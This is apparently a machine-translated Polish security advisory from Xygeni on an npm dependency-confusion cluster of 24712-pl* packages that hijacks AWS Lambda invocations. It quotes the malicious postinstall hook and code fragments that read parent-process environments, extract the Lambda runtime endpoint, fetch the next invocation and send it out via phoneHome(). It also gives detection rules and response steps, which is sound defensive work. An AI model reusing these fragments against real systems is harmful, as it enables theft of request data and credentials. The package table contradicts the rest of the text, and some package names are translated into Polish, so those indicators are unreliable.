TL; DR
W okresie od 6 do 7 maja 2026 r. jeden wydawca npm, pelavelle, wprowadzono osiem pakietów o zerowej zależności, używając nazw zgodnych z tym samym wzorcem wewnętrznym: 24712-pl*.
Pakiety zawierały 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2, 24712-plv3. Prefiks numeryczny zdecydowanie sugeruje atak polegający na pomyłce zależności npm względem wewnętrznej przestrzeni nazw pakietu lub schematu identyfikatora pakietu.
Wszystkie osiem pakietów siostrzanych zostało już wycofanych z publikacji w npm przez wydawcę pomiędzy 2026-05-06T21:52Z oraz 2026-05-07T00:31ZBezpośrednie metadane rejestru potwierdziły, że pliki tarball zwracają teraz błąd HTTP 404.
Jednakże klaster nadal ma znaczenie.
Próba kanoniczna, 24712-pl5006:0.0.1, zawiera postinstall.js skrypt, który uruchamia się podczas npm installZamiast kraść ogólne zmienne środowiskowe, szuka konkretnie AWS_LAMBDA_RUNTIME_API, zmienna środowiskowa używana przez środowiska wykonawcze AWS Lambda.
Jeśli skrypt znajdzie AWS_LAMBDA_RUNTIME_API, wywołuje punkt końcowy API Lambda Runtime:
To wywołanie próbuje przetworzyć kolejne oczekujące zdarzenie wywołania funkcji Lambda zanim uprawniony moduł obsługi funkcji Lambda będzie mógł je przetworzyć.
Przechwycone zdarzenie, w tym nagłówki, identyfikator żądania, kontekst konta i do 8 KB treści żądania, jest następnie wysyłane do kontrolowanego przez atakującego punktu końcowego telefonicznego za pośrednictwem skryptu phoneHome() funkcja.
System wczesnego ostrzegania przed złośliwym oprogramowaniem (MEW) firmy Xygeni sklasyfikował próbkę kanoniczną jako prawdopodobnie złośliwą, uzyskując wynik 91.3/100.
Śledzimy to jako atak polegający na pomyłce zależności npm z zachowaniem przejęcia środowiska wykonawczego AWS Lambda.
Klaster: osiem pakietów, jeden wydawca
Konto wydawcy pelavelle użył adresu e-mail:
pelavelle@clovercode.com
Konto miało niezweryfikowany adres e-mail, nie SCM weryfikacji i niskiej oceny reputacji wynoszącej 5.
Wydawca udostępnił osiem powiązanych pakietów w krótkim czasie między 20:45 a 22:36 6 maja 2026 roku. Nazwy wszystkich pakietów mają ten sam kształt:
24712-pl*
Ten wzór jest kluczowym sygnałem. Nie wygląda na publiczne narzędzie dla programistów. Wygląda raczej na wewnętrzny schemat nazewnictwa pakietów.
| # | Pakiet | Wersja złośliwa | Utworzono, UTC | Niepublikowane, UTC | Potwierdzono ładunek | Zainstaluj hak |
|---|---|---|---|---|---|---|
| 1 | badacz kosmosu | 1.1.3 | 2026-05-01T18:26Z | 2026-05-01T19:01Z | Wywnioskowano, ten sam wydawca / klaster | preinstalować, przypuszczalnie |
| 2 | sygnałydk-web | 1.0.0, 10.0.0 | 2026-05-04T13:57Z | 2026-05-04T18:51Z | Wnioskowane | preinstalować, przypuszczalnie |
| 3 | ms.analytics-web | 99.0.0, 99.9.13 | 2026-05-04T18:47Z | 2026-05-05T10:07Z | Wnioskowane | preinstalować, przypuszczalnie |
| 4 | ikony.wygenerowane | 99.9.13 | 2026-05-05T10:02Z | 2026-05-05T12:57Z | Wnioskowane | preinstalować, przypuszczalnie |
| 5 | śledzenie opóźnień | 99.9.0 | 2026-05-05T11:57Z | 2026-05-05T12:57Z | Wnioskowane | preinstalować, przypuszczalnie |
| 6 | śledzenie opóźnień wewnętrznych | Wersje usunięte z rejestru | 2026-05-06T06:02Z | 2026-05-06T08:35Z | Wnioskowane | preinstalować, przypuszczalnie |
| 7 | carboniteapp | 99.9.0 | 2026-05-06T05:49Z | 2026-05-06T08:35Z | Tak, pełny przepływ kodu skanera | preinstalacja: węzeł index.js |
| 8 | karbonit-wewnętrzny | 99.9.0 | 2026-05-06T06:14Z | 2026-05-06T08:36Z | Tak, pełny przepływ kodu skanera | preinstalacja: węzeł index.js |
Łączna liczba wersji w klastrze: 19 krotek wersji pakietu.
Próba kanoniczna, 24712-pl5006:0.0.1, został opublikowany 2026-05-06T22:36:34Z i zeskanowany przez MEW firmy Xygeni pipeline przed zdarzeniem cofnięcia publikacji.
Zawierał cztery pliki, w tym: package/postinstall.js, z 3,335 bajtami całkowitego kodu źródłowego.
Kanoniczny commit hash wynosił:
83e0efbfd110abb2398a06196fb698565a3f6cc6
Dlaczego wzór nazwy ma znaczenie
Nazwy pakietów są najsilniejszym wskaźnikiem intencji.
Wszystkie zaczynają się od tego samego prefiksu:
24712-pl
Następnie dodają sufiksy numeryczne lub określające wersję:
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
To nie przypomina normalnego publicznego nazewnictwa npm. Wygląda jak wewnętrzny prefiks przestrzeni nazw lub wewnętrzny schemat identyfikatorów pakietów.
Dzięki temu klaster jest spójny z atak polegający na pomyłce zależności npm.
W ataku polegającym na pomyłce zależności atakujący publikuje pakiet publiczny o nazwie, która pasuje lub wydaje się pasować do zależności wewnętrznej. Jeśli menedżer pakietów lub środowisko kompilacji celu rozpozna pakiet publiczny zamiast prywatnego, kod kontrolowany przez atakującego zostanie uruchomiony w środowisku docelowym.
OWASP opisuje pomyłkę zależności jako wektor ataku, który oszukuje menedżerów pakietów i serwery proxy, powodując pobranie złośliwego pakietu publicznego zamiast zamierzonego pakietu wewnętrznego o tej samej nazwie.
Aby uzyskać głębszy kontekst dotyczący działania tej klasy ataków, zapoznaj się z przewodnikiem Xygeni na temat brak przypinania wersji i zamieszanie związane z zależnościami i nasz post na identyfikowanie i zarządzanie atakami na zależności oprogramowania.
Co dzieje się podczas instalacji
Pakiet kanoniczny deklaruje postinstall hak:
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
postinstall Cykl życia jest częścią systemu skryptów pakietów npm. Dokumentacja npm wyjaśnia, że pakiety mogą definiować skrypty cyklu życia w package.json, w tym wbudowane zdarzenia cyklu życia instalacji.
|| true jest ważne.
Przechwytuje błędy, dzięki czemu instalacja i tak powiedzie się, nawet jeśli przejęcie kontroli się nie powiedzie. Pomaga to pakietowi uniknąć problemów z kompilacją i zmniejsza ryzyko, że programiści lub systemy CI zauważą złośliwe zachowanie w przypadku nieudanej instalacji.
Ładunek działa podczas npm install. Nie jest wymagany import deweloperski. Żadna ścieżka aplikacji nie musi wywoływać pakietu.
Sama instalacja wystarczy.
Zachowanie ładunku: przejęcie kontroli nad środowiskiem wykonawczym Lambda
postinstall.js Skrypt wykonuje określoną sekwencję.
Najpierw odczytuje środowisko procesu nadrzędnego z systemu Linux /proc:
const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
Następnie wyodrębnia punkt końcowy środowiska wykonawczego AWS Lambda:
const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
Jeśli środowisko wykonawcze API zostanie znalezione, skrypt je zapisze:
runtimeApi = match[1];
Następnie wysyła pierwszy sygnał radiowy phoneHome():
await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
Pierwszy sygnał ujawnia punkt końcowy interfejsu API środowiska wykonawczego Lambda.
Następnie skrypt analizuje host i port interfejsu API środowiska wykonawczego:
const [host, portStr] = runtimeApi.split(':');
Na koniec wywołuje ścieżkę API AWS Lambda Runtime używaną do pobrania następnego wywołania:
http.request({
host,
port,
path: '/2018-06-01/runtime/invocation/next',
method: 'GET',
timeout: 90000
}, ...);
To jest sedno ataku.
Skrypt próbuje pobrać zdarzenie kolejnego wywołania Lambda, zanim uprawniony moduł obsługi Lambda będzie mógł je przetworzyć. Przewodnik po środowisku uruchomieniowym AWS opisuje również krok „pobierz zdarzenie” jako wywołanie interfejsu API kolejnego wywołania.
Co zostaje wyeksfiltrowane
Jeśli skrypt przechwyci wywołanie, wysyła wynik do kontrolowanego przez atakującego punktu końcowego telefonu domowego.
Wyeksfiltrowane pola obejmują:
| Pole | Znaczenie |
|---|---|
step | Etap realizacji, taki jak waiting, next_errorlub captured |
runtimeApi | Punkt końcowy interfejsu API środowiska wykonawczego Lambda |
accountSid | Przechwycony kontekst konta AWS |
requestId | Identyfikator żądania wywołania Lambda |
isOwnAccount | Porównanie wartości logicznych ze skonfigurowaną wartością konta skryptu |
statusCode | Status odpowiedzi interfejsu API środowiska wykonawczego |
headers | Nagłówki odpowiedzi wywołania |
body | Przechwycony tekst wywołania, pocięty na 8,000 znaków |
Kluczowym wezwaniem do eksfiltracji jest phoneHome(data) funkcja, która koduje dane w formacie JSON i wysyła je za pomocą żądania HTTP POST.
Dokładny adres URL docelowy połączenia telefonicznego nie został zachowany w dostępnych, skróconych dowodach. Dlatego npm powinien zachować wewnętrznie nieopublikowany plik tarball, aby można było wyodrębnić literał hosta C2 przed sfinalizowaniem usuwania.
Dlaczego to jest niebezpieczne
To nie jest ogólny sygnał npm.
Ładunek jest zaprojektowany wokół AWS Lambda model wykonania.
Jeśli podatny na ataki pakiet zostanie zainstalowany w środowisku wykonawczym Lambda, na przykład podczas kompilacji obrazu wdrożenia, instalacji warstwy Lambda lub procesu opakowania init, środowisko może narazić AWS_LAMBDA_RUNTIME_API.
Gdy skrypt ma już tę wartość, może wywołać:
/2018-06-01/runtime/invocation/next
Ten punkt końcowy zwraca następne oczekujące zdarzenie wywołania.
W rezultacie atakujący może być w stanie przechwycić:
- Treści żądania
- Nagłówki
- Identyfikatory żądań
- Kontekst konta AWS
- Podpisane dane żądania
- Dane osobowe klienta
- Dane zdarzeń S3
- Ładunki specyficzne dla aplikacji
- Kontekst usługi wewnętrznej
Uprawniony obiekt obsługujący zdarzenie może nigdy go nie zobaczyć.
Zmienia to skrypt instalacyjny npm w prymitywną operację przechwytywania zdarzeń Lambda.
Nawet jeśli pakiet nigdy nie trafi do rzeczywistego środowiska Lambda, jego zachowanie może nadal powodować wyciek użytecznego kontekstu z systemów deweloperskich lub CI. /proc/<pid>/environ może ujawnić zmienne środowiskowe obecne w procesach nadrzędnych, które mogą obejmować klucze AWS, adresy URL baz danych, tokeny CI lub poświadczenia wdrożenia.
Dlatego skanowanie zależności nie może kończyć się na znanych lukach CVE. Zespoły potrzebują również wykrywania złośliwych pakietów, analizy skryptów instalacyjnych i egzekwowania zasad rejestru. Aby uzyskać powiązane wskazówki, przeczytaj Dlaczego skanowanie zależności ma znaczenie dla zespołów DevOps oraz Ochrona przed złośliwym oprogramowaniem: Dlaczego oprogramowanie antywirusowe nie jest w stanie powstrzymać ataków na łańcuch dostaw.
Klasyfikacja MEW Xygeni
Xygeni MEW przeskanowało próbkę kanoniczną 24712-pl5006:0.0.1 przed zdarzeniem cofnięcia publikacji.
Skaner zwrócił:
91.3 / 100
probablyMalicious
threshold: 80
Dowody obejmowały trzy elementy krytyczne i jeden element istotny, potwierdzające przejęcie przepływu danych przez środowisko wykonawcze Lambda.
| Dotkliwość | Dowód | Znaczenie |
|---|---|---|
| Krytyczny | /proc/<pid>/environ czytać | Odczytuje środowisko procesu nadrzędnego |
| Krytyczny | AWS_LAMBDA_RUNTIME_API ekstrakcja | Celuje w punkt końcowy środowiska wykonawczego Lambda |
| Krytyczny | /runtime/invocation/next zażądać | Próbuje wykorzystać prawdziwe zdarzenie wywołania Lambda |
| Wysoki | postinstall scenariusz | Działa podczas instalacji npm |
To zachowanie jest bardzo specyficzne i ma duży wpływ. Pakiet nie potrzebuje rozbudowanych funkcji złośliwego oprogramowania, ponieważ punkt końcowy środowiska wykonawczego Lambda jest już silnym celem.
Xygeni MEW został zaprojektowany do tego typu zastosowań: wykrywania podejrzanego i złośliwego zachowania pakietów, zanim stanie się ono incydentem. Aby uzyskać szerszy obraz aktualnych wzorców zagrożeń npm i PyPI, zobacz: Bliższe spojrzenie na ataki na łańcuch dostaw oprogramowania w 2025 r..
Dlaczego wzorzec samodzielnego wycofania publikacji ma znaczenie
Wszystkie osiem pakietów zostało wycofanych z publikacji przez wydawcę w krótkim czasie.
Takie zachowanie jest podejrzane w tym kontekście.
Klaster pojawił się, został uruchomiony, jeśli został wybrany przez podatną ścieżkę rozwiązywania zależności, a następnie zniknął. Jest to zgodne z czyszczeniem przez atakującego po pomyślnym lub przerwanym dowodzie koncepcji albo po zauważeniu problemu przez organizację docelową.
Cofnięcie publikacji powoduje lukę widoczności dla obrońców.
Publiczne dane npm mogą już nie zawierać plików tarball. Niektórych wersji pakietów nie można ponownie pobrać. Jednak w środowiskach, których dotyczy problem, mogą nadal znajdować się kopie w pamięci podręcznej, odwołania do plików blokady, logi CI lub artefakty menedżera pakietów.
Dlatego tak ważne jest zachowanie danych w rejestrze.
npm powinien zachować nieopublikowane pliki tarball wewnętrznie na tyle długo, aby wyodrębnić dokładny adres URL phone-home, potwierdzić tożsamość równorzędnego ładunku i zapewnić obsługę reagowania na incydenty.
Wskaźniki naruszenia i wykrycia
Wydawca i konto
| Pole | Wartość: |
|---|---|
| nazwa użytkownika npm | pelavelle |
| adres e-mail wydawcy npm | pelavelle@clovercode.com |
| Zweryfikowano adres e-mail | Nie |
| SCM zweryfikowana | Nie |
| Wynik reputacji wydawcy | 5 |
| Wzorzec nazewnictwa pakietów | ^24712-pl[0-9a-z]+$ |
| Prefiks wewnętrznej przestrzeni nazw | 24712-pl |
Nazwy pakietów, których to dotyczy
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
Próbka kanoniczna
| Pole | Wartość: |
|---|---|
| Pakiet | 24712-pl5006 |
| Wersja | 0.0.1 |
| Opublikowany | 2026-05-06T22:36:34Z |
| Commit haszysz | 83e0efbfd110abb2398a06196fb698565a3f6cc6 |
| UUID skanowania Xygeni | f80e4244-86d2-4a58-be59-7c56988a0f9f |
| Wynik | 91.3 / 100 |
| Werdykt | probablyMalicious |
Zainstaluj hak
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
Wskaźniki czasu wykonania Lambda
Wyeksfiltrowane pola ładunków
step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
Treść została podzielona na 8,000 znaków.
Notatki dotyczące wykrywania
Można to wychwycić kilkoma zasadami atak polegający na pomyłce zależności npm i prawdopodobnych wariantów.
Najpierw oznacz skrypty instalacyjne npm, które odczytują środowisko procesu nadrzędnego z /proc:
/proc//environ
Rzadko kiedy jest to zgodne z prawem zachowanie zależności npm podczas instalacji.
Po drugie, zwróć uwagę na skrypty instalacyjne pakietów, które odwołują się do:
AWS_LAMBDA_RUNTIME_API
Ta zmienna środowiskowa nie powinna być dostępna dla pakietów npm innych firm podczas instalacji.
Po trzecie, zablokuj lub przejrzyj skrypty instalacyjne, które wywołują:
/2018-06-01/runtime/invocation/next
To jest punkt końcowy interfejsu API środowiska wykonawczego AWS Lambda, który służy do odbierania kolejnego wywołania. Skrypt instalacyjny zależności nie ma uzasadnionego powodu, aby go użyć.
Po czwarte, poszukaj odniesień do nazw pakietów, których to dotyczy, w plikach blokujących:
package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
Każde dopasowanie powinno skutkować przeglądem zależności.
Po piąte, zwróć uwagę na wyrażenie regularne nazwy pakietu:
^24712-pl[0-9a-z]+$
szczególnie gdy wydawcą jest podmiot publiczny, o złej reputacji, niezweryfikowany lub znajdujący się poza oczekiwanym wewnętrznym rejestrem.
Na koniec dodaj CI/CD guardrails wokół skryptów instalacyjnych. Jest to szczególnie ważne, ponieważ skrypty cyklu życia npm mogą być wykonywane podczas instalacji pakietów, zanim programiści cokolwiek zaimportują. Więcej informacji na ten temat CI/CD wzorce wykrywania, patrz Xygeni 10 najważniejszych wskaźników zagrożenia w CI/CD Pipelines oraz Ochrona Guardrails dla CI/CD Pipelines.
Sugerowane działania rejestru
Opublikowanie tego klastra zostało już cofnięte w momencie raportowania, jednak cofnięcie publikacji nie eliminuje ryzyka.
Zalecane działania po stronie npm:
- Sprawdź, czy cofnięcie publikacji było działaniem inicjowanym przez atakującego, czy też normalnym działaniem administratora.
- Zawieś lub zablokuj konto wydawcy
pelavelle. - Dodaj
pelavelle@clovercode.com, nazwy pakietów i wyrażenia regularne nazw pakietów do list blokujących nadużyć npm i łańcucha dostaw. - Zachowaj nieopublikowane pliki tarball w pamięci wewnętrznej na potrzeby analiz kryminalistycznych.
- Wyodrębnij dokładnie
phoneHome()adres URL docelowy z zachowanych plików tarball. - Sprawdź, czy wszystkie pakiety podrzędne współdzielą ten sam ładunek.
- Jeśli dane telemetryczne dotyczące pobierania lub instalacji pakietu wskazują na narażenie na niebezpieczeństwo, należy powiadomić organizacje, których to dotyczy.
Lista kontrolna reakcji na kompromisy
Jeśli jakikolwiek pakiet, którego to dotyczy, pojawił się w plikach blokady, dziennikach CI, pamięciach podręcznych pakietów, warstwach Lambda, obrazach wdrożeniowych lub artefaktach kompilacji, należy to potraktować jako potencjalne zdarzenie wykonawcze mogące powodować pomieszanie zależności.
Zalecana odpowiedź:
- Określ miejsce zainstalowania pakietu: na lokalnej stacji roboczej, w module uruchamiającym CI, w kompilacji warstwy Lambda, w obrazie wdrożenia lub w środowisku wykonawczym.
- Zachowaj pliki blokad, pamięć podręczną npm, dzienniki kompilacji, artefakty wdrożenia i warstwy obrazu kontenera.
- Sprawdź, czy instalacja miała miejsce w środowisku, w którym
AWS_LAMBDA_RUNTIME_APIbyło ustawione. - Przejrzyj dzienniki HTTP wychodzące w poszukiwaniu nieznanych
phoneHome()miejsca docelowe podczas okna instalacji. - Przeprowadź audyt dzienników wywołań Lambda pod kątem porzuconych, brakujących lub nietypowych zdarzeń.
- Rotuj sekrety udostępniane środowisku instalacyjnemu, zwłaszcza klucze AWS, tokeny CI, dane uwierzytelniające wdrożenia i adresy URL bazy danych.
- Przejrzyj warstwy Lambda i obrazy wdrożeniowe w celu znalezienia kopii pakietu w pamięci podręcznej.
- Wymuś przypinanie prywatnego rejestru dla wewnętrznych prefiksów pakietów.
- Blokuje publiczne rozwiązywanie nazw pakietów npm w przypadku nazw wewnętrznych.
- Dodaj guardrails dla
preinstall,install,postinstallskrypty.
Jak Xygeni pomaga wykryć to wcześniej
Ta kampania to dokładnie ten rodzaj przypadku, w którym zespoły ds. bezpieczeństwa muszą zrobić coś więcej niż tylko stosować tradycyjne skanowanie w poszukiwaniu luk w zabezpieczeniach.
Może nie być CVE. Możliwe, że nie istnieje znana podatna wersja. Po oczyszczeniu systemu przez wydawcę może nie być dostępnego pakietu o długim okresie istnienia do sprawdzenia.
Zamiast tego zespołom potrzebny jest wgląd w zachowanie pakietu w czasie rzeczywistym.
Xygeni pomaga poprzez połączenie:
- Wczesne wykrywanie złośliwego oprogramowania w rejestrach publicznych.
- Wykrywanie podejrzanych zależności pod kątem pomyłek i typosquattingu.
- Analiza skryptu instalacyjnego dla
preinstall,install,postinstallzachowania - CI/CD guardrails aby zablokować ryzykowne pakiety zanim dotrą do środowisk kompilacji lub wdrożenia.
- Przejrzystość łańcucha dostaw oprogramowania w zależnościach, pipelinei artefakty.
- Egzekwowanie zasad dotyczących nazw pakietów wewnętrznych i niezaufanych pakietów publicznych.
To ma znaczenie, ponieważ wpływ atak polegający na pomyłce zależności npm Nie ogranicza się do laptopów programistów. Może docierać do modułów CI, obrazów kompilacji, warstw Lambda, kontenerów wdrożeniowych i środowisk sąsiadujących ze środowiskiem wykonawczym.
Aby zapoznać się ze szerszym kontekstem AppSec i łańcucha dostaw, zobacz Poza SCA:Zabezpieczanie łańcucha dostaw oprogramowania oraz Software Supply Chain Security Automatyzacja.
Co obrońcy powinni wynieść
Ta kampania pokazuje, w jaki sposób problem niejasności dotyczących zależności może wykroczyć poza podstawowe sygnały potwierdzające wykonanie.
Ładunek nie tylko to potwierdza npm install Został uruchomiony. Próbuje nawiązać interakcję z interfejsem API środowiska uruchomieniowego AWS Lambda i przechwycić rzeczywiste zdarzenie wywołania.
To jest znacząca eskalacja.
W przypadku zespołów korzystających z rozwiązań bezserwerowych rozwiązywanie zależności jest częścią modelu zagrożeń w czasie wykonywania. Publiczny pakiet npm o nazwie przypominającej wewnętrzną może stać się ścieżką do kontekstu wykonania Lambda, danych żądań i metadanych konta w chmurze.
Główna lekcja jest jasna: wewnętrzne prefiksy pakietów muszą być chronione, ograniczone zakresem i przypięte do zaufanych rejestrów. Skrypty instalacyjne należy traktować jako wykonywalną powierzchnię ataku, szczególnie w… CI/CD, kompilacje kontenerów, warstwy Lambda i wdrażanie pipelines.
CISWytyczne A dotyczące łańcucha dostaw oprogramowania podkreślają potrzebę ochrony oprogramowania, stosowania kontroli bezpieczeństwa i ciągłego reagowania na luki w zabezpieczeniach w całym procesie rozwoju. W tym przypadku oznacza to traktowanie rozwiązywania problemów z pakietami, skryptów pakietów i bezserwerowych środowisk kompilacji jako pierwszorzędnych mechanizmów bezpieczeństwa.
Zgłoszono do npm w celu egzekwowania na poziomie konta, umieszczenia na czarnej liście i zachowania nieopublikowanego pliku tarball.







